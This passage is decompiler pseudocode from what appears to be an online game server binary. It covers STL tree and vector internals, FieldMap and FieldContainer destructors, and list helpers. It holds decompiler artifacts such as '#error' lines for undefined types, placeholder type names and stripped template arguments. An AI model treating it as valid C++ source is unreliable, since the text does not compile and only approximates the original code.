*(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 16) = 1; *(_BYTE *)(v14 + 16) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 16) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00447B60) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 17) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 17) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 17) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 16); *(_BYTE *)(*(_DWORD *)&v6 + 16) = *(_BYTE *)(*(_DWORD *)&v4 + 16); *(_BYTE *)(*(_DWORD *)&v4 + 16) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 16) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 16) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 16) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 16) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00447E20) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00447E90) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, ABSTATEINDEX *_Val) { ABSTATEINDEX *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 ABSTATEINDEX v8; // edx@2 ABSTATEINDEX *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = *_Val; do { v7 = v8 < v6->_Myval; v5 = v6; _Addleft = v8 < v6->_Myval; if ( v8 >= v6->_Myval ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (ABSTATEINDEX *)v5; _Val = (ABSTATEINDEX *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( *((_DWORD *)v9 + 3) >= *v3 ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00447F50) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 17) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 17); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 17); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00448010) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, RoutionInterface *const *_Val) { std::vector > *v4; // esi@1 RoutionInterface **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #325 **v16; // eax@25 RoutionInterface **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #325 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (RoutionInterface *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#325 **)(v20 - v23); v4->_Mylast = (RoutionInterface **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#325 ***)&v21, v25, (#325 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#325 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (RoutionInterface **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#325 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (RoutionInterface **)((char *)_Newvec + _Counta); v4->_Mylast = (RoutionInterface **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (RoutionInterface **)_Newvec; } } } //----- (004481F0) -------------------------------------------------------- void __thiscall FieldMap::fm_SetRefuseAbstate(void *this, int idx) { void *v2; // esi@1 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+4h] [bp-14h]@1 int v4; // [sp+14h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fm_SetRefuseAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fm_SetRefuseAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; std::_Tree_std::allocator_0>>::insert( (std::_Tree,std::allocator,0> > *)((char *)v2 + 280), &result, (ABSTATEINDEX *)&idx); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fm_SetRefuseAbstate"); } //----- (004482A0) -------------------------------------------------------- #error "4482A0: undefined or illegal type '#585' (funcsize=153)" //----- (004484C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineAxialFlag::safm_SetLinkRoutionInterface(ShineObjectClass::ShineAxialFlag *this, RoutionInterface *pInterFace) { char *v2; // ecx@1 int v3; // esi@1 int v4; // edx@2 int v5; // eax@6 bool result; // al@6 v2 = (char *)&this->safm_vecRoutions; v3 = *((_DWORD *)v2 + 1); if ( v3 ) v4 = (*((_DWORD *)v2 + 2) - v3) >> 2; else v4 = 0; if ( v3 && v4 < (unsigned int)((*((_DWORD *)v2 + 3) - v3) >> 2) ) { v5 = *((_DWORD *)v2 + 2); *(_DWORD *)v5 = pInterFace; *((_DWORD *)v2 + 2) = v5 + 4; result = 1; } else { std::vector>::_Insert_n( (std::vector > *)v2, *((std::vector >::iterator *)v2 + 2), 1u, &pInterFace); result = 1; } return result; } //----- (00448520) -------------------------------------------------------- void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (00448550) -------------------------------------------------------- void __thiscall FieldMap::_FieldMap(int this) { int v1; // edi@1 Movie::CinemaComplex *v2; // esi@1 std::_Tree,std::allocator,0> >::iterator v3; // ST08_4@3 std::_Tree,std::allocator,0> >::iterator v4; // ST04_4@3 std::_Tree,std::allocator,0> >::iterator result; // [sp+Ch] [bp-10h]@3 int v6; // [sp+18h] [bp-4h]@1 v1 = this; v2 = *(Movie::CinemaComplex **)(this + 68); v6 = 2; if ( v2 ) { Movie::CinemaComplex::_CinemaComplex(v2); operator delete(v2); } v3 = *(std::_Tree,std::allocator,0> >::iterator *)(v1 + 284); v4 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)(v1 + 284); LOBYTE(v6) = 1; std::_Tree_std::allocator_0>>::erase( (std::_Tree,std::allocator,0> > *)(v1 + 280), &result, v4, v3); operator delete(*(void **)(v1 + 284)); *(_DWORD *)(v1 + 284) = 0; *(_DWORD *)(v1 + 288) = 0; LOBYTE(v6) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 164)); v6 = -1; MobDeadCount::_MobDeadCount((MobDeadCount *)(v1 + 72)); } //----- (00448600) -------------------------------------------------------- void __thiscall FieldContainer::_FieldContainer(FieldContainer *this) { FieldContainer *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; operator delete__(this->fc_GuildTournamentMap.attr); operator delete__(v1->fc_InstanceDungeon.attr); _eh_vector_destructor_iterator_(v1->gap11070, 0x128u, 512, (void (__thiscall *)(void *))FieldMap::_FieldMap); ShineCommonParameter::_ShineCommonParameter((ShineScript *)&v1->fc_FieldOption); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5AEC98: using guessed type int (__stdcall *List_FieldMap____vftable_[3])(__int16 hnd); //----- (004486A0) -------------------------------------------------------- #error "4486A0: undefined or illegal type '#585' (funcsize=70)" //----- (004487B0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, #585 *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { FieldMap::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004487E0) -------------------------------------------------------- int __thiscall FieldMap::operator_(int this, int a2) { int v2; // ebx@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); memcpy((void *)(this + 32), (const void *)(a2 + 32), 0x22u); *(_DWORD *)(this + 68) = *(_DWORD *)(a2 + 68); *(_DWORD *)(this + 72) = *(_DWORD *)(a2 + 72); *(_DWORD *)(this + 76) = *(_DWORD *)(a2 + 76); *(_DWORD *)(this + 80) = *(_DWORD *)(a2 + 80); *(_BYTE *)(this + 84) = *(_BYTE *)(a2 + 84); memcpy((void *)(this + 88), (const void *)(a2 + 88), 0x58u); memcpy((void *)(this + 176), (const void *)(a2 + 176), 0x65u); std::_Tree_std::allocator_0>>::operator_( (std::_Tree,std::allocator,0> > *)(this + 280), (std::_Tree,std::allocator,0> > *)(a2 + 280)); return v2; } //----- (004488D0) -------------------------------------------------------- std::_Tree,std::allocator,0> > *__thiscall std::_Tree_std::allocator_0>>::operator_(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *result) { std::_Tree,std::allocator,0> >::iterator v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // esi@1 v2 = (std::_Tree,std::allocator,0> >::iterator)result; v3 = this; if ( this != result ) { std::_Tree_std::allocator_0>>::erase( this, (std::_Tree,std::allocator,0> >::iterator *)&result, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead); std::_Tree_std::allocator_0>>::_Copy( v3, *(std::_Tree,std::allocator,0> > **)&v2); } return v3; } //----- (00448900) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *_Right) { std::_Tree,std::allocator,0> > *v2; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@2 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *i; // eax@4 v2 = this; this->_Myhead->_Parent = std::_Tree_std::allocator_0>>::_Copy( this, _Right->_Myhead->_Parent, this->_Myhead); v2->_Mysize = _Right->_Mysize; v3 = v2->_Myhead; v4 = v3->_Parent; if ( v4->_Isnil ) { v3->_Left = v3; v2->_Myhead->_Right = v2->_Myhead; } else { v5 = v4->_Left; if ( !v4->_Left->_Isnil ) { do { v4 = v5; v5 = v5->_Left; } while ( !v5->_Isnil ); } v3->_Left = v4; v6 = v2->_Myhead; v7 = v6->_Parent; for ( i = v7->_Right; !i->_Isnil; i = i->_Right ) v7 = i; v6->_Right = v7; } } //----- (00448990) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree,std::allocator,0> > *v3; // esi@1 char v4; // al@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // edi@2 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ST0C_4@4 int v8; // [sp-Ch] [bp-24h]@1 std::_Tree,std::allocator,0> > *thisa; // [sp+0h] [bp-18h]@1 std::_Tree_nod,std::allocator,0> >::_Node *_Newroot; // [sp+4h] [bp-14h]@1 int *v11; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@4 v3 = this; _Newroot = this->_Myhead; v4 = _Rootnode->_Isnil; v11 = &v8; thisa = this; if ( !v4 ) { v5 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, &_Rootnode->_Myval, _Rootnode->_Color); if ( _Newroot->_Isnil ) _Newroot = v5; v6 = _Rootnode->_Left; v12 = 0; v5->_Left = std::_Tree_std::allocator_0>>::_Copy( v3, v6, v5); v5->_Right = std::_Tree_std::allocator_0>>::_Copy( v3, _Rootnode->_Right, v5); } return _Newroot; } //----- (00448A40) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, #585 *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { FieldMap::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00448A70) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, #585 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; FieldMap::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00448AC0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, #585 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 